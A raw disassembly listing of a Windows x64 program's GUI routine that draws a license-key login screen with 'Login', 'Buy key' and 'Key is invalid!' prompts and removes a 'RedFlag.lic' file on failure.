mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xe1
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
mov rax, qword [0x1408b62b8]
mov r14d, 1
mov edx, dword [0x1408ffe98]
mov ecx, dword [rax + 0x1c40]
or ecx, 0x43
movss dword [rax + 0x1c54], xmm10
movss dword [rax + 0x1c58], xmm11
mov qword [rax + 0x1c5c], 0
mov dword [rax + 0x1c44], 2
mov byte [rax + 0x1c7c], 1
mov dword [rax + 0x1c64], 0x43eb0000
mov dword [rax + 0x1c68], 0x438c0000
mov dword [rax + 0x1c48], r14d
mov dword [rax + 0x1c40], ecx
mov dword [rax + 0x1ca0], 0x3f800000
test edx, edx
je 0x140052708
mov dword [rax + 0x1c40], ecx
mov dword [rax + 0x1c64], 0x44458000
mov dword [rax + 0x1c68], 0x43d20000
cmp edx, 2
je 0x14005272e
mov dword [rax + 0x1c40], ecx
mov dword [rax + 0x1c64], 0x43c30000
mov dword [rax + 0x1c68], 0x437a0000
mov dword [rax + 0x1c48], r14d
mov r8d, 0x13b
lea rdx, reloc.WS2_32.dll_accept
lea rcx, str.RED_FLAG
call fcn.1400135d0
mov eax, dword [0x140141c50]
lea rcx, [rbp + 0xc55]
mov dword [rbp + 0xc50], eax
xor edx, edx
movzx eax, byte [0x140141c54]
mov r8d, 0x3e3
mov byte [rbp + 0xc54], al
call sub.VCRUNTIME140.dll_memset
mov eax, dword [0x1408ffe98]
test eax, eax
jne 0x140052b04
mov rcx, qword [0x1408b62b8]
lea r9, [rbp - 0x18]
movss xmm0, dword [0x1408b5190]
lea r8, [rbp - 0x10]
mov byte [0x140901d30], r14b
lea rdx, [rbp - 8]
mov dword [rbp - 0x18], 0x3f800000
movss xmm1, dword [rcx + 0x18]
mov rax, qword [rcx + 0x1b90]
mulss xmm1, xmm6
mov dword [rbp - 0x14], 0x3f800000
movss xmm6, dword [0x140145ea4]
mov qword [rbp - 0x10], 0
addss xmm0, xmm1
mov dword [rbp - 8], 0x437a0000
mov dword [rbp - 4], 0x42dc0000
movss dword [0x1408b5190], xmm0
mov byte [rax + 0xc1], r14b
mov rax, qword [rcx + 0x1b90]
movss xmm0, dword [rax + 0x4c]
subss xmm0, dword [rax + 0x90]
movss xmm2, dword [rax + 0x48]
subss xmm2, dword [rax + 0x8c]
addss xmm0, xmm12
addss xmm2, xmm6
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
xorps xmm1, xmm1
movss dword [rax + 0x130], xmm0
lea rax, [rbp + 0x950]
movaps xmm0, xmmword [0x140146190]
mov rcx, qword [0x1408b6340]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x950], xmm1
movups xmmword [rbp - 0x58], xmm0
call fcn.14003d8c0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], r14b
mov rax, qword [rcx + 0x1b90]
lea rcx, [0x1400d08e7]
movss xmm0, dword [rax + 0x4c]
subss xmm0, dword [rax + 0x90]
movss xmm2, dword [rax + 0x48]
subss xmm2, dword [rax + 0x8c]
addss xmm0, dword [0x140145eac]
addss xmm2, dword [0x140145eb8]
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
movss dword [rax + 0x130], xmm0
call fcn.14003b840
movss xmm1, dword [0x140145f40]
movaps xmm0, xmm15
call fcn.140017290
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
lea rcx, [0x1408b51b8]
cmovae rcx, qword [0x1408b51b8]
call fcn.14003b840
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], r14b
mov rax, qword [rcx + 0x1b90]
movss xmm2, dword [rax + 0x48]
subss xmm2, dword [rax + 0x8c]
movss xmm0, dword [rax + 0x4c]
subss xmm0, dword [rax + 0x90]
addss xmm2, xmm6
addss xmm0, xmm13
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
lea rdx, [rbp]
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
mov qword [rbp], 0x437a0000
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
movss dword [rax + 0x130], xmm0
movss xmm0, dword [0x1408b5190]
or dword [rcx + 0x1cd0], r14d
mov dword [rcx + 0x1cd4], 0x43a28000
call fcn.14003dd10
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], r14b
mov rax, qword [rcx + 0x1b90]
lea rcx, str.Checking_For_New_Update...
movss xmm0, dword [rax + 0x4c]
subss xmm0, dword [rax + 0x90]
movss xmm2, dword [rax + 0x48]
subss xmm2, dword [rax + 0x8c]
addss xmm0, dword [0x140145ecc]
addss xmm2, xmm6
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
movss dword [rax + 0x130], xmm0
call fcn.14003b840
mov r8d, r14d
lea rcx, [0x1408fb330]
call fcn.140058fc0
xor r8d, r8d
test rax, rax
mov rax, qword [0x1408fb320]
movsxd rcx, dword [rax + 4]
lea rax, [0x1408fb320]
je 0x140052a9f
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140052aad
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
call fcn.14005aff0
lea rcx, [0x1408fb330]
call fcn.140058f10
test rax, rax
jne 0x140052ae5
mov rax, qword [0x1408fb320]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [0x1408fb320]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov eax, dword [0x1408ffe98]
movss xmm0, dword [0x1408b5190]
comiss xmm0, dword [0x140145ddc]
cmovae eax, r14d
mov dword [0x1408ffe98], eax
cmp eax, r14d
jne 0x140053569
lea rax, str.RedFlag.Lic
mov qword [rbp + 0x428], send
mov qword [rbp + 0x420], rax
call fcn.1400bcb98
movaps xmm0, xmmword [rbp + 0x420]
lea r8, [rbp + 0x950]
mov edx, eax
movdqa xmmword [rbp + 0x950], xmm0
lea rcx, [rbp + 0x970]
call fcn.14004ad50
cmp qword [rbp + 0x988], 8
lea rcx, [rbp + 0x970]
mov r9d, 0xffffffff
lea rdx, [rbp + 0xb18]
cmovae rcx, qword [rbp + 0x970]
mov r8d, 3
call fcn.1400bccd4
mov r8d, eax
test eax, eax
jne 0x140052bbe
mov ecx, dword [rbp + 0xb28]
bt ecx, 0xa
jae 0x140052bb3
mov edx, dword [rbp + 0xb2c]
cmp edx, 0xa000000c
jne 0x140052ba4
lea ecx, [rax + 4]
jmp 0x140052bdd
cmp edx, 0xa0000003
jne 0x140052bb3
mov ecx, 0xa
jmp 0x140052bdd
and ecx, 0x10
or ecx, 0x20
shr ecx, 4
jmp 0x140052bdd
sub eax, 2
je 0x140052bd6
sub eax, r14d
je 0x140052bd6
sub eax, 0x32
je 0x140052bd6
cmp eax, 0x46
je 0x140052bd6
xor al, al
jmp 0x140052bda
movzx eax, r14b
movzx ecx, al
mov dword [rbp + 0x410], r8d
lea rdx, [0x1408b5238]
mov qword [rbp + 0x418], rdx
movaps xmm0, xmmword [rbp + 0x410]
movdqa xmmword [rbp + 0x950], xmm0
test ecx, ecx
je 0x140052c1e
cmp ecx, r14d
mov qword [rbp + 0x958], rdx
mov eax, r15d
setne r14b
mov dword [rbp + 0x950], eax
jmp 0x140052c27
mov eax, dword [rbp + 0x950]
xor r14b, r14b
test eax, eax
jne 0x1400570ed
mov rdx, qword [rbp + 0x988]
cmp rdx, 8
jb 0x140052c75
mov rcx, qword [rbp + 0x970]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052c70
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140056ab5
call fcn.1400bd5b8
test r14b, r14b
mov qword [rbp + 0x980], r15
lea r14, [0x1408b6378]
mov qword [rbp + 0x988], 7
mov word [rbp + 0x970], r15w
je 0x140052d33
mov qword [rbp + 0x998], r15
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x9a8], r15
mov qword [rbp + 0x9b0], reloc.WS2_32.dll_ntohs
nop
inc r8
cmp byte [r14 + r8], 0
jne 0x140052cc0
mov rdx, r14
lea rcx, [rbp + 0x998]
call fcn.140059490
lea rdx, [rbp + 0x998]
lea rcx, [0x1408fb430]
call fcn.140068bc0
cmp byte [0x1408fb648], 0
jne 0x140052d2e
mov r9d, 0x40
lea r8, str.Login
lea rdx, str.Key_is_invalid_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.RedFlag.lic
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp byte [0x1408fb648], 0
mov dword [0x1408ffe98], r15d
je 0x140052d33
call fcn.14004fd90
mov rcx, qword [0x1408b62b8]
lea r9, [rbp + 8]
lea r8, [rbp + 0x10]
mov dword [rbp + 8], 0x3f800000
lea rdx, [rbp + 0x18]
mov dword [rbp + 0xc], 0x3f800000
mov qword [rbp + 0x10], 0
mov rax, qword [rcx + 0x1b90]
mov dword [rbp + 0x18], 0x43a28000
mov dword [rbp + 0x1c], 0x42f00000
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
movss xmm0, dword [rax + 0x4c]
subss xmm0, dword [rax + 0x90]
movss xmm2, dword [rax + 0x48]
subss xmm2, dword [rax + 0x8c]
addss xmm0, dword [0x140145e8c]
addss xmm2, xmm9
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
xorps xmm1, xmm1
movss dword [rax + 0x130], xmm0
lea rax, [rbp + 0x950]
movaps xmm0, xmmword [0x140146190]
mov rcx, qword [0x1408b6340]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x950], xmm1
movups xmmword [rbp - 0x58], xmm0
call fcn.14003d8c0
mov edx, 0xff00ff00
call fcn.1400096b0
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
lea rcx, [0x1408b51b8]
cmovae rcx, qword [0x1408b51b8]
call fcn.14003b840
mov r8, qword [0x1408b62b8]
movsxd rax, dword [r8 + 0x1ce8]
mov rcx, qword [r8 + 0x1cf0]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
dec dword [r8 + 0x1ce8]
mov rax, qword [r8 + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [r8 + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x140052ea7
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0x20]
mov qword [rbp + 0x20], 0
call fcn.140016ff0
mov edx, 0xffffffff
call fcn.1400096b0
mov rcx, qword [0x1408b62b8]
lea rdx, str.KEY_:
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
lea rcx, [rbp + 0x950]
movss xmm0, dword [rax + 0x4c]
subss xmm0, dword [rax + 0x90]
movss xmm2, dword [rax + 0x48]
subss xmm2, dword [rax + 0x8c]
addss xmm0, xmm13
addss xmm2, xmm9
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
movaps xmm1, xmmword [0x1401460e0]
movss dword [rax + 0x130], xmm0
movups xmmword [rbp + 0x950], xmm1
call fcn.14003b8c0
movss xmm1, dword [0x140145f40]
movaps xmm0, xmm15
call fcn.140017290
mov r8, qword [0x1408b62b8]
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], r15
lea rcx, str.Key
mov qword [rsp + 0x30], r15
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x28], r15d
xor edx, edx
or dword [r8 + 0x1cd0], 1
mov dword [r8 + 0x1cd4], 0x43910000
mov r8, r14
mov qword [rbp + 0x28], 0
mov qword [rsp + 0x20], rax
call fcn.140041bd0
mov rcx, qword [0x1408b62b8]
lea rdx, [rbp + 0x30]
mov dword [rbp + 0x30], 0x431b0000
mov dword [rbp + 0x34], 0x420c0000
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
lea rcx, str.Login
movss xmm0, dword [rax + 0x4c]
subss xmm0, dword [rax + 0x90]
movss xmm2, dword [rax + 0x48]
subss xmm2, dword [rax + 0x8c]
addss xmm0, dword [0x140145ed0]
addss xmm2, dword [0x140145e94]
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
movss dword [rax + 0x130], xmm0
call fcn.14003c230
test al, al
je 0x1400530a8
call fcn.14004f8d0
mov r14, qword [0x1408b62b8]
xor edx, edx
mov rax, qword [r14 + 0x1b90]
movsxd rcx, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, str.Loading
call fcn.140008b80
cmp dword [r14 + 0x1be8], eax
jne 0x140053090
mov dword [r14 + 0x1bec], eax
cmp dword [r14 + 0x1c28], eax
jne 0x1400530a1
mov byte [r14 + 0x1c2c], 1
mov ecx, eax
call fcn.140018210
movss xmm1, dword [0x140145f40]
movaps xmm0, xmm15
call fcn.140017290
lea rdx, [rbp + 0x38]
mov dword [rbp + 0x38], 0x431b0000
lea rcx, str.Buy_key
mov dword [rbp + 0x3c], 0x420c0000
call fcn.14003c230
test al, al
je 0x1400530fd
mov eax, 1
lea r8, [rbp + 0xc50]
mov dword [rsp + 0x28], eax
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], r15
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0xffffffff
call fcn.1400096b0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x140053145
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0x40]
mov qword [rbp + 0x40], 0
call fcn.140016ff0
mov rcx, qword [0x1408b62b8]
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
cmp byte [rax + 0xc4], 0
jne 0x140053183
movss xmm1, dword [0x140145f40]
lea rcx, [rbp + 0x48]
mov qword [rbp + 0x48], 0
call fcn.140016ff0
mov r14, qword [0x1408b62b8]
xorps xmm6, xmm6
mov dword [rbp + 0x950], 4
lea rcx, [r14 + 0x1ce8]
mov rdx, qword [rcx + 8]
movsxd rax, dword [rcx]
lea r8, [rax + rax*4]
movsxd rax, dword [rdx + r8*4 - 0x14]
movups xmm0, xmmword [rdx + r8*4 - 0x10]
add rax, rax
lea rdx, [rbp + 0x950]
movups xmmword [r14 + rax*8 + 0x16fc], xmm0
dec dword [rcx]
movups xmm0, xmmword [r14 + 0x173c]
movups xmmword [rbp + 0x954], xmm0
call fcn.140027f30
movups xmmword [r14 + 0x173c], xmm6
mov r14, qword [0x1408b62b8]
lea rdx, [rbp + 0x950]
mov dword [rbp + 0x950], 5
movups xmm0, xmmword [r14 + 0x174c]
lea rcx, [r14 + 0x1ce8]
movups xmmword [rbp + 0x954], xmm0
call fcn.140027f30
mov rax, qword [0x1408b62b8]
mov ecx, 1
movups xmmword [r14 + 0x174c], xmm6
or dword [rax + 0x1c40], 2
mov dword [rax + 0x1c64], 0x43960000
mov dword [rax + 0x1c68], 0x43480000
mov dword [rax + 0x1c48], ecx
call fcn.140018890
test al, al
je 0x140053563
mov rcx, qword [0x1408b62b8]
movss xmm0, dword [rcx + 0x18]
mulss xmm0, dword [0x140145d90]
addss xmm0, dword [0x140901d2c]
comiss xmm0, xmm8
movss dword [0x140901d2c], xmm0
jb 0x140053290
mov dword [0x140901d2c], 0x3f8ccccd
jmp 0x1400532a0
comiss xmm14, xmm0
jb 0x1400532a0
mov dword [0x140901d2c], 0xbdcccccd
movss xmm0, dword [0x140901d48]
addss xmm0, dword [0x140145f30]
movss xmm3, dword [0x140145e48]
movss dword [0x140901d48], xmm0
mov rax, qword [rcx + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
movss xmm0, dword [rax + 0x4c]
subss xmm0, dword [rax + 0x90]
movss xmm2, dword [rax + 0x48]
subss xmm2, dword [rax + 0x8c]
addss xmm0, dword [0x140145e9c]
addss xmm2, dword [0x140145eb0]
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movaps xmm2, xmm12
movss dword [rax + 0x134], xmm1
movaps xmm1, xmmword [0x140146190]
movss dword [rax + 0x130], xmm0
lea rax, [rbp + 0x950]
movss xmm0, dword [0x140145f40]
movss dword [rsp + 0x40], xmm0
movups xmmword [rbp + 0x950], xmm1
movss xmm1, dword [0x140145ddc]
movss dword [rsp + 0x28], xmm1
mov qword [rsp + 0x20], rax
call fcn.14004c180
movss xmm1, dword [0x140901d2c]
comiss xmm15, xmm1
jbe 0x14005338a
movaps xmm0, xmm15
jmp 0x140053396
movss xmm0, dword [0x140145ddc]
minss xmm0, xmm1
mulss xmm0, dword [0x140145f10]
lea rdx, str._d__d
mov r9d, 0x6d9
lea rcx, [rbp + 0xb18]
cvttss2si r8d, xmm0
call fcn.140059ca0
movss xmm0, dword [0x140901d2c]
comiss xmm0, xmm8
jb 0x14005351c
mov r14, qword [0x1408b62b8]
xor edx, edx
mov rax, qword [r14 + 0x1b90]
movsxd rcx, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, str.Loading
call fcn.140008b80
cmp dword [r14 + 0x1be8], eax
jne 0x14005340d
mov dword [r14 + 0x1bec], eax
cmp dword [r14 + 0x1c28], eax
jne 0x14005341e
mov byte [r14 + 0x1c2c], 1
mov ecx, eax
call fcn.140018210
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x998], r15
lea rdx, [0x1408b6378]
mov qword [rbp + 0x9a8], r15
mov qword [rbp + 0x9b0], reloc.WS2_32.dll_ntohs
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140053450
lea rcx, [rbp + 0x998]
call fcn.140059490
lea rdx, [rbp + 0x998]
lea rcx, [0x1408fb430]
call fcn.140068bc0
cmp byte [0x1408fb648], 0
jne 0x1400534bb
mov r9d, 0x40
lea r8, str.Login
lea rdx, str.Key_is_invalid_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.RedFlag.lic
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp byte [0x1408fb648], 0
mov dword [0x1408ffe98], r15d
je 0x1400534c0
call fcn.14004fd90
mov r14, qword [0x1408b62b8]
xor edx, edx
mov rax, qword [r14 + 0x1b90]
movsxd rcx, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, str.Loading
call fcn.140008b80
cmp dword [r14 + 0x1be8], eax
jne 0x1400534ff
mov dword [r14 + 0x1bec], eax
cmp dword [r14 + 0x1c28], eax
jne 0x140053510
mov byte [r14 + 0x1c2c], 1
mov ecx, eax
call fcn.140018210
call fcn.140018640
mov r14, qword [0x1408b62b8]
mov rax, qword [r14 + 0x1b90]
cmp qword [r14 + 0x1d70], rax
jne 0x140053545
mov qword [r14 + 0x1e90], rax
mov dword [r14 + 0x1e98], 2
test dword [rax + 0xc], 0x1000000
je 0x140053556
mov byte [r14 + 0x1b2a], 1
call fcn.1400164f0
mov byte [r14 + 0x1b2a], 0
mov eax, dword [0x1408ffe98]
cmp eax, 2
jne 0x1400569c4
mov rcx, qword [0x1408b62b8]
lea r9, [rbp + 0x50]
lea r8, [rbp + 0x58]
mov dword [rbp + 0x50], 0x3f800000
lea rdx, [rbp + 0x60]
mov dword [rbp + 0x54], 0x3f800000
mov qword [rbp + 0x58], 0
mov rax, qword [rcx + 0x1b90]
mov dword [rbp + 0x60], 0x44458000
mov dword [rbp + 0x64], 0x43d20000
mov byte [rax + 0xc1], 1
mov rax, qword [rcx + 0x1b90]
movss xmm0, dword [rax + 0x4c]
subss xmm0, dword [rax + 0x90]
movss xmm2, dword [rax + 0x48]
subss xmm2, dword [rax + 0x8c]
addss xmm0, xmm15
addss xmm2, xmm15
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
xorps xmm1, xmm1
movss dword [rax + 0x130], xmm0
lea rax, [rbp + 0x950]
movaps xmm0, xmmword [0x140146190]
mov rcx, qword [0x1408b62c8]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x950], xmm1
movups xmmword [rbp - 0x58], xmm0
call fcn.14003d8c0
mov r14, qword [0x1408b62b8]
lea rdx, [rbp + 0x950]
movaps xmm6, xmmword [0x140146040]
mov dword [rbp + 0x950], 3
mov rax, qword [r14 + 0x1b90]
lea rcx, [r14 + 0x1ce8]
mov byte [rax + 0xc1], 1
mov rax, qword [r14 + 0x1b90]
movss xmm0, dword [rax + 0x4c]
subss xmm0, dword [rax + 0x90]
movss xmm2, dword [rax + 0x48]
subss xmm2, dword [rax + 0x8c]
addss xmm0, xmm15
addss xmm2, xmm15
movss dword [rax + 0x11c], xmm0
movss dword [rax + 0x118], xmm2
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x134], xmm1
movss dword [rax + 0x130], xmm0
movups xmm0, xmmword [r14 + 0x172c]
movups xmmword [rbp + 0x954], xmm0
call fcn.140027f30
movups xmmword [r14 + 0x172c], xmm6
mov r14, qword [0x1408b62b8]
xor edx, edx
mov dword [rbp + 0x68], 0x44458000
mov dword [rbp + 0x6c], 0x42700000
mov rax, qword [r14 + 0x1b90]
mov byte [rax + 0xc1], 1
mov rax, qword [r14 + 0x1b90]
movsxd rcx, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [0x140141ccc]
call fcn.140008b80
cmp dword [r14 + 0x1be8], eax
jne 0x14005375e
mov dword [r14 + 0x1bec], eax
cmp dword [r14 + 0x1c28], eax
jne 0x14005376f
mov byte [r14 + 0x1c2c], 1
lea r8, [rbp + 0x68]
mov dword [rsp + 0x20], 8
mov edx, eax
lea rcx, [0x140141ccc]
call fcn.1400104a0
mov r14, qword [0x1408b62b8]
lea rdx, [rbp + 0x950]
xorps xmm6, xmm6
mov dword [rbp + 0x950], reloc.WS2_32.dll_setsockopt
movups xmm0, xmmword [r14 + 0x184c]
lea rcx, [r14 + 0x1ce8]
movups xmmword [rbp + 0x954], xmm0
call fcn.140027f30
mov r15d, reloc.WS2_32.dll_recv
movups xmmword [r14 + 0x184c], xmm6
mov eax, dword [r15 + r12]
cmp dword [0x140901f18], eax
jle 0x14005380e
lea rcx, [0x140901f18]
call fcn.1400bd208
cmp dword [0x140901f18], 0xffffffff
jne 0x14005380e
lea rcx, [0x140901f18]
mov dword [0x140901df0], 0x428c0000
mov dword [0x140901df4], 0x41a00000
call fcn.1400bd1a8
mov eax, dword [r15 + r12]
cmp dword [0x140901e10], eax
jle 0x140053845
lea rcx, [0x140901e10]
call fcn.1400bd208
cmp dword [0x140901e10], 0xffffffff
jne 0x140053845
xorps xmm0, xmm0
lea rcx, [0x140901e10]
movups xmmword [0x140901f40], xmm0
call fcn.1400bd1a8
mov eax, dword [r15 + r12]
cmp dword [0x140901ee0], eax
jle 0x14005387c
lea rcx, [0x140901ee0]
call fcn.1400bd208
cmp dword [0x140901ee0], 0xffffffff
jne 0x14005387c
xorps xmm0, xmm0
lea rcx, [0x140901ee0]
movups xmmword [0x140901e40], xmm0
call fcn.1400bd1a8
mov eax, dword [r15 + r12]
cmp dword [0x140901efc], eax
jle 0x1400538b7
lea rcx, [0x140901efc]
call fcn.1400bd208
cmp dword [0x140901efc], 0xffffffff
jne 0x1400538b7
movups xmm0, xmmword [0x140901e40]
lea rcx, [0x140901efc]
movups xmmword [0x140901f30], xmm0
call fcn.1400bd1a8
mov r14, qword [0x1408b62b8]
lea rdx, [rbp + 0x950]
mov dword [rbp + 0x950], reloc.WS2_32.dll_setsockopt
movups xmm0, xmmword [r14 + 0x184c]
lea rcx, [r14 + 0x1ce8]
movups xmmword [rbp + 0x954], xmm0
call fcn.140027f30
movups xmm0, xmmword [0x140901f30]
lea rdx, [rbp + 0x950]
mov dword [rbp + 0x950], reloc.WS2_32.dll_socket
movups xmmword [r14 + 0x184c], xmm0
mov r14, qword [0x1408b62b8]
movups xmm0, xmmword [r14 + 0x186c]
lea rcx, [r14 + 0x1ce8]
movups xmmword [rbp + 0x954], xmm0
call fcn.140027f30
movups xmm0, xmmword [0x140901f30]
lea rdx, [rbp + 0x950]
mov dword [rbp + 0x950], reloc.WLDAP32.dll_Ordinal_22
movups xmmword [r14 + 0x186c], xmm0
mov r14, qword [0x1408b62b8]
movups xmm0, xmmword [r14 + 0x185c]
lea rcx, [r14 + 0x1ce8]
movups xmmword [rbp + 0x954], xmm0
call fcn.140027f30
movups xmm0, xmmword [0x140901f30]
mov edx, 0xffffffff
movups xmmword [r14 + 0x185c], xmm0
call fcn.1400096b0
mov r8, qword [0x1408b62b8]
movss xmm1, dword [0x140145f40]
mov rcx, qword [r8 + 0x1cf0]
movsxd rax, dword [r8 + 0x1ce8]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
movsxd rcx, dword [r8 + 0x1ce8]
lea eax, [rcx - 1]
mov dword [r8 + 0x1ce8], eax
lea rax, [rcx - 2]
mov rcx, qword [r8 + 0x1cf0]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4]
movups xmm0, xmmword [rcx + rdx*4 + 4]
add rax, rax
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
dec dword [r8 + 0x1ce8]
movaps xmm0, xmm15
call fcn.140017290
mov r14, qword [0x1408b62b8]
lea rdx, [rbp + 0x950]
mov dword [rbp + 0x950], reloc.WS2_32.dll_setsockopt
mov rax, qword [r14 + 0x1b90]
lea rcx, [r14 + 0x1ce8]
mov byte [rax + 0xc1], 1
mov rax, qword [r14 + 0x1b90]
movss xmm0, dword [rax + 0x130]
movss xmm1, dword [rax + 0x48]
subss xmm1, dword [rax + 0x8c]
addss xmm1, dword [0x140145ec4]
maxss xmm0, xmm1
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x130], xmm0
movups xmm0, xmmword [r14 + 0x184c]
movups xmmword [rbp + 0x954], xmm0
call fcn.140027f30
mov eax, dword [r15 + r12]
movups xmmword [r14 + 0x184c], xmm6
cmp dword [0x140901f58], eax
jle 0x140053ac5
lea rcx, [0x140901f58]
call fcn.1400bd208
cmp dword [0x140901f58], 0xffffffff
jne 0x140053ac5
lea rcx, [0x140901f58]
mov dword [0x140901ea0], 0x42b40000
mov dword [0x140901ea4], 0x41f00000
call fcn.1400bd1a8
mov eax, dword [r15 + r12]
cmp dword [0x140901f8c], eax
jle 0x140053afc
lea rcx, [0x140901f8c]
call fcn.1400bd208
cmp dword [0x140901f8c], 0xffffffff
jne 0x140053afc
xorps xmm0, xmm0
lea rcx, [0x140901f8c]
movups xmmword [0x140901e30], xmm0
call fcn.1400bd1a8
mov eax, dword [r15 + r12]
cmp dword [0x140901df8], eax
jle 0x140053b33
lea rcx, [0x140901df8]
call fcn.1400bd208
cmp dword [0x140901df8], 0xffffffff
jne 0x140053b33
xorps xmm0, xmm0
lea rcx, [0x140901df8]
movups xmmword [0x140901e60], xmm0
call fcn.1400bd1a8
